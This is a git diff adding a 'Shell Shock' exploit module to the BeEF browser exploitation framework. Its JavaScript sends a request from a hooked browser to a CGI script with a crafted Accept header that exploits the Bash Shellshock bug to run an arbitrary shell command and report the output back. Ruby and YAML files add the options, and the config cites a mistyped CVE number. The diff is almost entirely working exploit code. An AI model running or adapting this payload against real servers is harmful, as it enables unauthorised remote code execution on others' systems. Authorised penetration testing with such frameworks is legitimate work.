diff --git a/modules/exploits/shell_shocked/command.js b/modules/exploits/shell_shocked/command.js
new file mode 100644
index 000000000..466eeca66
--- /dev/null
+++ b/modules/exploits/shell_shocked/command.js
@@ -0,0 +1,28 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function () {
+
+    try {
+        var target = "<%=@Target%>";
+        var command = "<%=@Bash_Command%>";
+        var xhr = new XMLHttpRequest();
+        xhr.open("GET", target, true);
+        xhr.onload = function () {
+        };
+        xhr.onreadystatechange = function () {
+            if (xhr.readyState == 4 && xhr.status == 200) {
+                beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
+            }
+        }
+        xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: application/xml\"; echo; echo; " + command);
+                xhr.send(null);
+                }
+                catch (e){
+                    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message);
+    }
+                });
+
diff --git a/modules/exploits/shell_shocked/config.yaml b/modules/exploits/shell_shocked/config.yaml
new file mode 100644
index 000000000..f19f4298b
--- /dev/null
+++ b/modules/exploits/shell_shocked/config.yaml
@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        Shell_shocked:
+            enable: true
+            category: "Exploits"
+            name: "Shell Shock"
+            description: "Attempt to use vulnerability CVE-2014-627 to execute arbitrary code"
+            target:
+                working: ["All"]
diff --git a/modules/exploits/shell_shocked/module.rb b/modules/exploits/shell_shocked/module.rb
new file mode 100644
index 000000000..d215c3271
--- /dev/null
+++ b/modules/exploits/shell_shocked/module.rb
@@ -0,0 +1,20 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Shell_shocked < BeEF::Core::Command
+
+  def self.options
+    return [
+        {'name' => 'Target', 'description' => 'Vulnerable cgi script path', 'ui_label' => 'Target', 'value' => 'http://127.0.0.1/cgi-bin/test.cgi'},
+        {'name' => 'Bash_Command', 'description' => 'the command to execute', 'ui_label' => 'Bash Command', 'value' => '/bin/ping -c 3 www.google.it'}
+    ]
+  end
+
+
+  def post_execute
+    save({'result' => @datastore['result']})
+  end
+
+end